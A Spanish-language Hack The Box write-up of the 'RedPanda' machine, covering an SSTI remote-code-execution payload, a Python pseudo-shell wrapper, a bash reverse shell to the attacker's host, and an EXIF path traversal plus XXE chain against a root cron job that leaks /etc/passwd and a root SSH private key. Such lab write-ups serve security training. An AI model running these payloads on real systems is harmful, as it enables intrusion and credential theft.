Hack The Box: RedPanda Writeup | Easy

Table of Contents

Hack The Box: RedPanda Writeup

Welcome to my detailed writeup of the easy difficulty machine “RedPanda” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.

TCP Enumeration

1$ rustscan -a 10.129.227.207 --ulimit 5000 -g
210.129.227.207 -> [22,8080]
  1$ nmap -p22,8080 -sCV 10.129.227.207 -oN allPorts
  2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-02 21:19 CEST
  3Nmap scan report for 10.129.227.207
  4Host is up (0.036s latency).
  5
  6PORT     STATE SERVICE    VERSION
  722/tcp   open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
  8| ssh-hostkey: 
  9|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
 10|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
 11|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
 128080/tcp open  http-proxy
 13|_http-title: Red Panda Search | Made with Spring Boot
 14| fingerprint-strings: 
 15|   GetRequest: 
 16|     HTTP/1.1 200 
 17|     Content-Type: text/html;charset=UTF-8
 18|     Content-Language: en-US
 19|     Date: Fri, 02 Aug 2024 17:20:08 GMT
 20|     Connection: close
 21|     <!DOCTYPE html>
 22|     <html lang="en" dir="ltr">
 23|     <head>
 24|     <meta charset="utf-8">
 25|     <meta author="wooden_k">
 26|     <!--Codepen by khr2003: https://codepen.io/khr2003/pen/BGZdXw -->
 27|     <link rel="stylesheet" href="css/panda.css" type="text/css">
 28|     <link rel="stylesheet" href="css/main.css" type="text/css">
 29|     <title>Red Panda Search | Made with Spring Boot</title>
 30|     </head>
 31|     <body>
 32|     <div class='pande'>
 33|     <div class='ear left'></div>
 34|     <div class='ear right'></div>
 35|     <div class='whiskers left'>
 36|     <span></span>
 37|     <span></span>
 38|     <span></span>
 39|     </div>
 40|     <div class='whiskers right'>
 41|     <span></span>
 42|     <span></span>
 43|     <span></span>
 44|     </div>
 45|     <div class='face'>
 46|     <div class='eye
 47|   HTTPOptions: 
 48|     HTTP/1.1 200 
 49|     Allow: GET,HEAD,OPTIONS
 50|     Content-Length: 0
 51|     Date: Fri, 02 Aug 2024 17:20:08 GMT
 52|     Connection: close
 53|   RTSPRequest: 
 54|     HTTP/1.1 400 
 55|     Content-Type: text/html;charset=utf-8
 56|     Content-Language: en
 57|     Content-Length: 435
 58|     Date: Fri, 02 Aug 2024 17:20:08 GMT
 59|     Connection: close
 60|     <!doctype html><html lang="en"><head><title>HTTP Status 400 
 61|     Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400 
 62|_    Request</h1></body></html>
 631 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
 64SF-Port8080-TCP:V=7.94SVN%I=7%D=8/2%Time=66AD3154%P=x86_64-pc-linux-gnu%r(
 65SF:GetRequest,690,"HTTP/1\.1\x20200\x20\r\nContent-Type:\x20text/html;char
 66SF:set=UTF-8\r\nContent-Language:\x20en-US\r\nDate:\x20Fri,\x2002\x20Aug\x
 67SF:202024\x2017:20:08\x20GMT\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20h
 68SF:tml>\n<html\x20lang=\"en\"\x20dir=\"ltr\">\n\x20\x20<head>\n\x20\x20\x2
 69SF:0\x20<meta\x20charset=\"utf-8\">\n\x20\x20\x20\x20<meta\x20author=\"woo
 70SF:den_k\">\n\x20\x20\x20\x20<!--Codepen\x20by\x20khr2003:\x20https://code
 71SF:pen\.io/khr2003/pen/BGZdXw\x20-->\n\x20\x20\x20\x20<link\x20rel=\"style
 72SF:sheet\"\x20href=\"css/panda\.css\"\x20type=\"text/css\">\n\x20\x20\x20\
 73SF:x20<link\x20rel=\"stylesheet\"\x20href=\"css/main\.css\"\x20type=\"text
 74SF:/css\">\n\x20\x20\x20\x20<title>Red\x20Panda\x20Search\x20\|\x20Made\x2
 75SF:0with\x20Spring\x20Boot</title>\n\x20\x20</head>\n\x20\x20<body>\n\n\x2
 76SF:0\x20\x20\x20<div\x20class='pande'>\n\x20\x20\x20\x20\x20\x20<div\x20cl
 77SF:ass='ear\x20left'></div>\n\x20\x20\x20\x20\x20\x20<div\x20class='ear\x2
 78SF:0right'></div>\n\x20\x20\x20\x20\x20\x20<div\x20class='whiskers\x20left
 79SF:'>\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<span></span>\n\x20\x20\x20
 80SF:\x20\x20\x20\x20\x20\x20\x20<span></span>\n\x20\x20\x20\x20\x20\x20\x20
 81SF:\x20\x20\x20<span></span>\n\x20\x20\x20\x20\x20\x20</div>\n\x20\x20\x20
 82SF:\x20\x20\x20<div\x20class='whiskers\x20right'>\n\x20\x20\x20\x20\x20\x2
 83SF:0\x20\x20<span></span>\n\x20\x20\x20\x20\x20\x20\x20\x20<span></span>\n
 84SF:\x20\x20\x20\x20\x20\x20\x20\x20<span></span>\n\x20\x20\x20\x20\x20\x20
 85SF:</div>\n\x20\x20\x20\x20\x20\x20<div\x20class='face'>\n\x20\x20\x20\x20
 86SF:\x20\x20\x20\x20<div\x20class='eye")%r(HTTPOptions,75,"HTTP/1\.1\x20200
 87SF:\x20\r\nAllow:\x20GET,HEAD,OPTIONS\r\nContent-Length:\x200\r\nDate:\x20
 88SF:Fri,\x2002\x20Aug\x202024\x2017:20:08\x20GMT\r\nConnection:\x20close\r\
 89SF:n\r\n")%r(RTSPRequest,24E,"HTTP/1\.1\x20400\x20\r\nContent-Type:\x20tex
 90SF:t/html;charset=utf-8\r\nContent-Language:\x20en\r\nContent-Length:\x204
 91SF:35\r\nDate:\x20Fri,\x2002\x20Aug\x202024\x2017:20:08\x20GMT\r\nConnecti
 92SF:on:\x20close\r\n\r\n<!doctype\x20html><html\x20lang=\"en\"><head><title
 93SF:>HTTP\x20Status\x20400\x20\xe2\x80\x93\x20Bad\x20Request</title><style\
 94SF:x20type=\"text/css\">body\x20{font-family:Tahoma,Arial,sans-serif;}\x20
 95SF:h1,\x20h2,\x20h3,\x20b\x20{color:white;background-color:#525D76;}\x20h1
 96SF:\x20{font-size:22px;}\x20h2\x20{font-size:16px;}\x20h3\x20{font-size:14
 97SF:px;}\x20p\x20{font-size:12px;}\x20a\x20{color:black;}\x20\.line\x20{hei
 98SF:ght:1px;background-color:#525D76;border:none;}</style></head><body><h1>
 99SF:HTTP\x20Status\x20400\x20\xe2\x80\x93\x20Bad\x20Request</h1></body></ht
100SF:ml>");
101Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
102
103Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
104Nmap done: 1 IP address (1 host up) scanned in 16.95 seconds

UDP Enumeration

 1$ sudo nmap --top-ports 1500 -sU --min-rate 5000 -n -Pn 10.129.227.207 -oN allPorts.UDP
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-02 21:20 CEST
 3Nmap scan report for 10.129.227.207
 4Host is up (0.036s latency).
 5Not shown: 1495 open|filtered udp ports (no-response)
 6PORT      STATE  SERVICE
 753/udp    closed domain
 81025/udp  closed blackjack
 919718/udp closed unknown
1024388/udp closed unknown
1157977/udp closed unknown

Solo vemos los puertos 22/TCP y 8080/TCP Así que la vía de explotación debe de ser por el servicio web.

Foothold

1$ whatweb http://10.129.227.207:8080
2http://10.129.227.207:8080 [200 OK] Content-Language[en-US], Country[RESERVED][ZZ], HTML5, IP[10.129.227.207], Title[Red Panda Search | Made with Spring Boot]

Sabemos que la aplicación web está hecha en Spring Boot, Java.

Vemos que tiene una funcionalidad de búsqueda y mi input se representa en pantalla, esto ya me hace pensar en intentar realizar un SSTI. Write-up Image

Parece que tiene un filtro de caracteres.

Write-up Image Pero reemplazando el $ por * , ya que en Spring se puede realizar “templates” con ese formato, conseguimos que se interprete código, confirmando el SSTI. Write-up Image

Utilizando un payload de PayloadAllTheThings *{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

Tenemos RCE como el usuario woodenk Write-up Image

Por consola…

1$ curl -s -X POST http://10.129.227.207:8080/search --data "name=*%7BT%28org.apache.commons.io.IOUtils%29.toString%28T%28java.lang.Runtime%29.getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%29%7D" | html2text
2[name                ]
3***** You searched for: uid=1000(woodenk) gid=1001(logs) groups=1001(logs),1000
4(woodenk) *****
5***** There are 0 results for your search *****

Scripting the SSTI

Inspirándome del gran s4vitar, me apetecía hacer un script en Python para automatizar el SSTI.

 1import requests
 2from bs4 import BeautifulSoup
 3import signal
 4from prompt_toolkit import PromptSession
 5from prompt_toolkit.keys import Keys
 6
 7ENDPOINT_URL = "http://10.129.227.207:8080/search"
 8
 9def def_handler(x,y):
10    print("\n[+] Saliendo...")
11    exit(1)
12
13signal.signal(signal.SIGINT, def_handler)
14
15
16def ssti(command):
17    headers = {
18        "Content-Type": "application/x-www-form-urlencoded"
19    }
20    payload = "*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('<COMMAND>').getInputStream())}"
21    data = {
22        "name": payload.replace("<COMMAND>", command)
23    }
24    r = requests.post(ENDPOINT_URL, headers = headers, data=data)
25    soup = BeautifulSoup(r.text, 'html.parser')
26    output = soup.find('h2', class_='searched').text.replace('You searched for: ', '')
27    output
28    print(output)
29    
30if __name__ == "__main__":
31    session = PromptSession()
32    while True:
33        try:
34            cmd = session.prompt('> ')
35            if cmd == 'q': # Salir
36                def_handler(1,1)
37            ssti(cmd)
38        except KeyboardInterrupt:
39            break

De esta forma obtenemos una pseudo-consola a través del SSTI.

 1$ python3 ssti.py 
 2> whoami
 3woodenk
 4
 5> id
 6uid=1000(woodenk) gid=1001(logs) groups=1001(logs),1000(woodenk)
 7
 8> ip a
 91: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
10    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
11    inet 127.0.0.1/8 scope host lo
12       valid_lft forever preferred_lft forever
13    inet6 ::1/128 scope host 
14       valid_lft forever preferred_lft forever
152: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
16    link/ether 00:50:56:94:46:df brd ff:ff:ff:ff:ff:ff
17    inet 10.129.227.207/16 brd 10.129.255.255 scope global dynamic eth0
18       valid_lft 3560sec preferred_lft 3560sec
19    inet6 dead:beef::250:56ff:fe94:46df/64 scope global dynamic mngtmpaddr 
20       valid_lft 86399sec preferred_lft 14399sec
21    inet6 fe80::250:56ff:fe94:46df/64 scope link 
22       valid_lft forever preferred_lft forever
23
24>

Podemos encontrar la flag en /home/woodenk/user.txt

1> cat /home/woodenk/user.txt
26abbc8d3fda37801....

Privilege Escalation

Como no hay otro usuario a parte de root, supongo que no habrá que hacer User Pivoting.

Antes de escalar, voy a mandarme una full tty.

1#!/bin/bash
2#rev.sh
3
4bash -c "bash -i >& /dev/tcp/10.10.14.80/443 0>&1"
1> wget http://10.10.14.80:8081/rev.sh
2
3> dir
4883  rev.sh
5
6> chmod +x rev.sh
7
8> ./rev.sh

Me llama la atención que estemos en un grupo llamado logs

1woodenk@redpanda:/tmp/hsperfdata_woodenk$ id   
2id
3uid=1000(woodenk) gid=1001(logs) groups=1001(logs),1000(woodenk)

Encontramos un directorio /credits con unos archivos un tanto extraños

 1<?xml version="1.0" encoding="UTF-8"?>
 2<credits>
 3  <author>damian</author>
 4  <image>
 5    <uri>/img/angy.jpg</uri>
 6    <views>0</views>
 7  </image>
 8  <image>
 9    <uri>/img/shy.jpg</uri>
10    <views>0</views>
11  </image>
12  <image>
13    <uri>/img/crafty.jpg</uri>
14    <views>0</views>
15  </image>
16  <image>
17    <uri>/img/peter.jpg</uri>
18    <views>0</views>
19  </image>
20  <totalviews>0</totalviews>
21</credits>

Pertenecen al grupo logs

-rw-r-----  1 root logs  422 Jun 21  2022 damian_creds.xml
-rw-r-----  1 root logs  426 Jun 21  2022 woodenk_creds.xml

Encontramos un proyecto nuevo en Java, LogParser Write-up Image

El archivo main de este proyecto es el siguiente.

  1package com.logparser;
  2import java.io.BufferedWriter;
  3import java.io.File;
  4import java.io.FileWriter;
  5import java.io.IOException;
  6import java.util.HashMap;
  7import java.util.Map;
  8import java.util.Scanner;
  9
 10import com.drew.imaging.jpeg.JpegMetadataReader;
 11import com.drew.imaging.jpeg.JpegProcessingException;
 12import com.drew.metadata.Directory;
 13import com.drew.metadata.Metadata;
 14import com.drew.metadata.Tag;
 15
 16import org.jdom2.JDOMException;
 17import org.jdom2.input.SAXBuilder;
 18import org.jdom2.output.Format;
 19import org.jdom2.output.XMLOutputter;
 20import org.jdom2.*;
 21
 22public class App {
 23    public static Map parseLog(String line) {
 24        String[] strings = line.split("\\|\\|");
 25        Map map = new HashMap<>();
 26        map.put("status_code", Integer.parseInt(strings[0]));
 27        map.put("ip", strings[1]);
 28        map.put("user_agent", strings[2]);
 29        map.put("uri", strings[3]);
 30        
 31
 32        return map;
 33    }
 34    public static boolean isImage(String filename){
 35        if(filename.contains(".jpg"))
 36        {
 37            return true;
 38        }
 39        return false;
 40    }
 41    public static String getArtist(String uri) throws IOException, JpegProcessingException
 42    {
 43        String fullpath = "/opt/panda_search/src/main/resources/static" + uri;
 44        File jpgFile = new File(fullpath);
 45        Metadata metadata = JpegMetadataReader.readMetadata(jpgFile);
 46        for(Directory dir : metadata.getDirectories())
 47        {
 48            for(Tag tag : dir.getTags())
 49            {
 50                if(tag.getTagName() == "Artist")
 51                {
 52                    return tag.getDescription();
 53                }
 54            }
 55        }
 56
 57        return "N/A";
 58    }
 59    public static void addViewTo(String path, String uri) throws JDOMException, IOException
 60    {
 61        SAXBuilder saxBuilder = new SAXBuilder();
 62        XMLOutputter xmlOutput = new XMLOutputter();
 63        xmlOutput.setFormat(Format.getPrettyFormat());
 64
 65        File fd = new File(path);
 66        
 67        Document doc = saxBuilder.build(fd);
 68        
 69        Element rootElement = doc.getRootElement();
 70 
 71        for(Element el: rootElement.getChildren())
 72        {
 73    
 74            
 75            if(el.getName() == "image")
 76            {
 77                if(el.getChild("uri").getText().equals(uri))
 78                {
 79                    Integer totalviews = Integer.parseInt(rootElement.getChild("totalviews").getText()) + 1;
 80                    System.out.println("Total views:" + Integer.toString(totalviews));
 81                    rootElement.getChild("totalviews").setText(Integer.toString(totalviews));
 82                    Integer views = Integer.parseInt(el.getChild("views").getText());
 83                    el.getChild("views").setText(Integer.toString(views + 1));
 84                }
 85            }
 86        }
 87        BufferedWriter writer = new BufferedWriter(new FileWriter(fd));
 88        xmlOutput.output(doc, writer);
 89    }
 90    public static void main(String[] args) throws JDOMException, IOException, JpegProcessingException {
 91        File log_fd = new File("/opt/panda_search/redpanda.log");
 92        Scanner log_reader = new Scanner(log_fd);
 93        while(log_reader.hasNextLine())
 94        {
 95            String line = log_reader.nextLine();
 96            if(!isImage(line))
 97            {
 98                continue;
 99            }
100            Map parsed_data = parseLog(line);
101            System.out.println(parsed_data.get("uri"));
102            String artist = getArtist(parsed_data.get("uri").toString());
103            System.out.println("Artist: " + artist);
104            String xmlPath = "/credits/" + artist + "_creds.xml";
105            addViewTo(xmlPath, parsed_data.get("uri").toString());
106        }
107
108    }
109}

Vemos que se están almacenando logs en /opt/panda_search_redpanda.log

1cat redpanda.log
2
3404||10.10.14.80||Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0||/cualquiera
4404||10.10.14.80||Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0||/error

Lee el campo Artist de los metadatos de una imagen JPG que se almacena en /opt/panda_search/src/main/resources/static Write-up Image

Luego crea un archivo XML representando varios campos Write-up Image

En el main, se utiliza el nombre extraido de los metadatos para crear una ruta NOMBRE_creds.xml, que pasa al método addViewTo

Luego addViewTo parsea el XML, incrementando las visitas relacionadas con el autor de dicha imagen y escribe el archivo de vuelta. Write-up Image

Detalle de la aplicación:

  1. Método parseLog(String line):

    • Función: Divide una línea de registro en partes usando el delimitador || y almacena los valores en un Map.
    • Contenido del Map:
      • "status_code": Código de estado (entero).
      • "ip": Dirección IP.
      • "user_agent": Agente de usuario.
      • "uri": URI del recurso.
  2. Método isImage(String filename):

    • Función: Verifica si el archivo tiene una extensión .jpg. Retorna true si es una imagen JPEG, false de lo contrario.
  3. Método getArtist(String uri):

    • Función: Lee los metadatos EXIF de una imagen JPEG y busca el nombre del artista en los datos.
    • Ruta del archivo: Construye la ruta del archivo utilizando el URI proporcionado y lee el archivo JPEG.
    • Retorno: Devuelve el nombre del artista si se encuentra, o "N/A" si no se encuentra el campo de artista.
  4. Método addViewTo(String path, String uri):

    • Función: Actualiza el contador de visualizaciones en un archivo XML dado el URI de la imagen.
    • Proceso:
      • Lee el archivo XML y lo analiza.
      • Busca el elemento <image> cuyo <uri> coincida con el URI proporcionado.
      • Incrementa el conteo de visualizaciones para esa imagen y para el total de visualizaciones.
      • Escribe los cambios de vuelta al archivo XML.
  5. Método main(String[] args):

    • Función: El punto de entrada del programa.
    • Proceso:
      • Lee el archivo de registro (redpanda.log).
      • Procesa cada línea para determinar si corresponde a una imagen.
      • Si es una imagen, extrae la URI y busca el nombre del artista.
      • Actualiza el archivo XML correspondiente al artista con el nuevo conteo de visualizaciones.

Ejecución y Flujo de Datos

  1. Lectura del Log: Se lee línea por línea desde redpanda.log. Cada línea es analizada para extraer detalles como el URI de la imagen.

  2. Verificación de Imagen: Se verifica si el URI corresponde a un archivo JPEG.

  3. Extracción de Artista: Si es una imagen, se obtiene el nombre del artista desde los metadatos EXIF de la imagen.

  4. Actualización del XML: Se actualiza el archivo XML asociado con el artista para reflejar el nuevo número de visualizaciones de la imagen.

Como nosotros controlamos el campo Artist de la imagen, podríamos realizar un XXE, pero claro, de nada me sirve si root no ejecuta este script.

Y como me esperaba, hay una tarea CRON que ejecuta root donde cada X tiempo se ejecuta este archivo .jar Write-up Image

Recapitulado, necesito que al método addViewTo se pase un archivo que yo controlo, así podría acontecer un XXE y leer archivo como root.

Para controlar la ruta al archivo XML, necesito control del campo Artist de los metadatos de algún JPG asociado.

Bien, primero vamos a coger el archivo export.xml y nos lo vamos a guardar para añadir el payload para cargar /etc/passwd para hacer esta PoC.

Esto no lo he añadido, pero este export.xml viene de la aplicación web. Del archivo MainController.java

Tiene este endpoint.

 1@GetMapping(value="/export.xml", produces = MediaType.APPLICATION_OCTET_STREAM_VALUE)
 2	public @ResponseBody byte[] exportXML(@RequestParam(name="author", defaultValue="err") String author) throws IOException {
 3
 4		System.out.println("Exporting xml of: " + author);
 5		if(author.equals("woodenk") || author.equals("damian"))
 6		{
 7			InputStream in = new FileInputStream("/credits/" + author + "_creds.xml");
 8			System.out.println(in);
 9			return IOUtils.toByteArray(in);
10		}
11		else
12		{
13			return IOUtils.toByteArray("Error, incorrect paramenter 'author'\n\r");
14		}
15	}
1$ curl -s http://10.129.227.207:8080/export.xml?author=woodenk > export.xml

Introducimos el típico payload XXE. Write-up Image

Ahora nos tenemos que descargar alguna de las imagenes para modificar los metadatos.

1$ wget http://10.129.227.207:8080/img/greg.jpg
 1$ exiftool greg.jpg 
 2ExifTool Version Number         : 12.57
 3File Name                       : greg.jpg
 4Directory                       : .
 5File Size                       : 103 kB
 6File Modification Date/Time     : 2022:06:22 11:07:03+02:00
 7File Access Date/Time           : 2024:08:02 22:18:54+02:00
 8File Inode Change Date/Time     : 2024:08:02 22:18:54+02:00
 9File Permissions                : -rw-r--r--
10File Type                       : JPEG
11File Type Extension             : jpg
12MIME Type                       : image/jpeg
13Exif Byte Order                 : Big-endian (Motorola, MM)
14Orientation                     : Horizontal (normal)
15Artist                          : woodenk
16XMP Toolkit                     : XMP Core 4.4.0-Exiv2
17Document ID                     : gimp:docid:gimp:fdfbabec-5c75-44cd-9abc-0660f147312c
18Instance ID                     : xmp.iid:fa5469f5-219c-4d11-9329-67019e8b46d5
19Original Document ID            : xmp.did:3401fe2c-71a5-4894-895f-8a9822ccfb45
20Api                             : 2.0
21Platform                        : Windows
22Time Stamp                      : 1617795171484223
23Version                         : 2.10.22
24Format                          : image/jpeg
25Creator Tool                    : GIMP 2.10
26Location Created                : 
27Location Shown                  : 
28Artwork Or Object               : 
29Registry ID                     : 
30History Action                  : saved
31History Changed                 : /
32History Instance ID             : xmp.iid:0a506af3-72a2-4843-8711-8117fc9329b9
33History Software Agent          : Gimp 2.10 (Windows)
34History When                    : 2021:04:07 12:32:51
35Image Supplier                  : 
36Image Creator                   : 
37Copyright Owner                 : 
38Licensor                        : 
39Profile CMM Type                : Little CMS
40Profile Version                 : 4.3.0
41Profile Class                   : Display Device Profile
42Color Space Data                : RGB
43Profile Connection Space        : XYZ
44Profile Date Time               : 2021:04:07 11:29:52
45Profile File Signature          : acsp
46Primary Platform                : Microsoft Corporation
47CMM Flags                       : Not Embedded, Independent
48Device Manufacturer             : 
49Device Model                    : 
50Device Attributes               : Reflective, Glossy, Positive, Color
51Rendering Intent                : Perceptual
52Connection Space Illuminant     : 0.9642 1 0.82491
53Profile Creator                 : Little CMS
54Profile ID                      : 0
55Profile Description             : GIMP built-in sRGB
56Profile Copyright               : Public Domain
57Media White Point               : 0.9642 1 0.82491
58Chromatic Adaptation            : 1.04788 0.02292 -0.05022 0.02959 0.99048 -0.01707 -0.00925 0.01508 0.75168
59Red Matrix Column               : 0.43604 0.22249 0.01392
60Blue Matrix Column              : 0.14305 0.06061 0.71393
61Green Matrix Column             : 0.38512 0.7169 0.09706
62Red Tone Reproduction Curve     : (Binary data 32 bytes, use -b option to extract)
63Green Tone Reproduction Curve   : (Binary data 32 bytes, use -b option to extract)
64Blue Tone Reproduction Curve    : (Binary data 32 bytes, use -b option to extract)
65Chromaticity Channels           : 3
66Chromaticity Colorant           : Unknown
67Chromaticity Channel 1          : 0.64 0.33002
68Chromaticity Channel 2          : 0.3 0.60001
69Chromaticity Channel 3          : 0.15001 0.06
70Device Mfg Desc                 : GIMP
71Device Model Desc               : sRGB
72Image Width                     : 600
73Image Height                    : 720
74Encoding Process                : Progressive DCT, Huffman coding
75Bits Per Sample                 : 8
76Color Components                : 3
77Y Cb Cr Sub Sampling            : YCbCr4:4:4 (1 1)
78Image Size                      : 600x720
79Megapixels                      : 0.432

Ahora editamos el campo Artist para hacer el Path Traversal para poder cargar el pointed_creds.xml y no el que debería de cargar.

1$ exiftool -Artist="../../../../../tmp/pointed" pointed.jpg 
2Warning: [minor] Ignored empty rdf:Bag list for Iptc4xmpExt:LocationCreated - pointed.jpg
3    1 image files updated
1$ exiftool pointed.jpg | grep Artist
2Artist                          : ../../../../../tmp/pointed

Ahora nos descargamos la imagen y el XML con el payload en la máquina víctima en el directorio /tmp/

1woodenk@redpanda:/tmp$ wget http://10.10.14.80:8081/pointed.jpg
1woodenk@redpanda:/tmp$ wget http://10.10.14.80:8081/pointed_creds.xml

Y solo falta modificar el User-Agent para poder escribir el log malicioso.

Write-up Image

Aunque debe de ser una petición existosa. Así que vamos a modificar el log directamente ya que tenemos acceso a la máquina víctima y permisos para poder modificar el archivo redpanda.log

1woodenk@redpanda:/opt/panda_search$ echo '200||10.10.14.80||Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0||/../../../../../../tmp/pointed.jpg' > redpanda.log
2<|/../../../../../../tmp/pointed.jpg' > redpanda.log
3woodenk@redpanda:/opt/panda_search$ cat redpanda.log 
4cat redpanda.log 
5200||10.10.14.80||Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0||/../../../../../../tmp/pointed.jpg
6woodenk@redpanda:/opt/panda_search$

Ahora cuando se ejecute la tarea CRON, lo que pasará es que al parsearse el log, la URL valdrá /../../../../../../../tmp/pointed.jpg

Esto hará que se cree un path en /opt/panda_search/src/main/resources/static/../../../../../../../tmp/pointed.jpg

Luego se leerá el metadato de la imagen que es ../../../../../../tmp/pointed y creará la ruta /credits/../tmp/pointed_creds.xml Esto leerá el XML con el payload por lo cual leerá el contenido del /etc/passwd y al intentar incrementar en “1” las visitas, se exportará el /etc/passwd en el campo.

 1woodenk@redpanda:/tmp$ cat pointed_creds.xml
 2cat pointed_creds.xml
 3<?xml version="1.0" encoding="UTF-8"?>
 4<!DOCTYPE root>
 5<credits>
 6  <author>pointed</author>
 7  <image>
 8    <uri>../../../../../../../pointed.jpg</uri>
 9    <views>root:x:0:0:root:/root:/bin/bash
10daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
11bin:x:2:2:bin:/bin:/usr/sbin/nologin
12sys:x:3:3:sys:/dev:/usr/sbin/nologin
13sync:x:4:65534:sync:/bin:/bin/sync
14games:x:5:60:games:/usr/games:/usr/sbin/nologin
15man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
16lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
17mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
18news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
19uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
20proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
21www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
22backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
23list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
24irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
25gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
26nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
27systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
28systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
29systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
30messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
31syslog:x:104:110::/home/syslog:/usr/sbin/nologin
32_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
33tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
34uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
35tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
36landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
37pollinate:x:110:1::/var/cache/pollinate:/bin/false
38sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
39systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
40lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
41usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
42woodenk:x:1000:1000:,,,:/home/woodenk:/bin/bash
43mysql:x:113:118:MySQL Server,,,:/nonexistent:/bin/false</views>
44  </image>
45  <totalviews>1</totalviews>
46</credits>

Y se acontece perfectamente el XXE.

Ahora vamos a intentar leer la id_rsa del usuario root , a ver si existe. Solamente modificamos el archivo a leer Write-up Image

Agregamos de nuevo el log…

1woodenk@redpanda:/opt/panda_search$ echo '200||10.10.14.80||Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0||/../../../../../../tmp/pointed.jpg' > redpanda.log
2<|/../../../../../../tmp/pointed.jpg' > redpanda.log
3woodenk@redpanda:/opt/panda_search$ cat redpanda.log 
4cat redpanda.log 
5200||10.10.14.80||Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0||/../../../../../../tmp/pointed.jpg
6woodenk@redpanda:/opt/panda_search$

Y si leemos el archivo /tmp/pointed_creds.xml de nuevo…

 1woodenk@redpanda:/opt/panda_search$ cat /tmp/pointed_creds.xml
 2cat /tmp/pointed_creds.xml
 3<?xml version="1.0" encoding="UTF-8"?>
 4<!DOCTYPE root>
 5<credits>
 6  <author>pointed</author>
 7  <image>
 8    <uri>../../../../../../../pointed.jpg</uri>
 9    <views>-----BEGIN OPENSSH PRIVATE KEY-----
10b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
11QyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQAAAJBRbb26UW29
12ugAAAAtzc2gtZWQyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQ
13AAAECj9KoL1KnAlvQDz93ztNrROky2arZpP8t8UgdfLI0HvN5Q081w1miL4ByNky01txxJ
14RwNRnQ60aT55qz5sV7N9AAAADXJvb3RAcmVkcGFuZGE=
15-----END OPENSSH PRIVATE KEY-----</views>
16  </image>
17  <totalviews>1</totalviews>
18</credits>

Ya simplemente accedemos como root a la máquina víctima.

 1┌─[192.168.1.52]─[pointedsec@parrot]─[~/Desktop/redpanda/content]
 2└──╼ [★]$ micro id_rsa
 3┌─[192.168.1.52]─[pointedsec@parrot]─[~/Desktop/redpanda/content]
 4└──╼ [★]$ chmod 600 id_rsa 
 5┌─[192.168.1.52]─[pointedsec@parrot]─[~/Desktop/redpanda/content]
 6└──╼ [★]$ ssh root@10.129.227.207 -i id_rsa
 7....
 8
 9root@redpanda:~# whoami
10root
11root@redpanda:~#

Y ya podríamos leer la flag.

1root@redpanda:~# cat root.txt
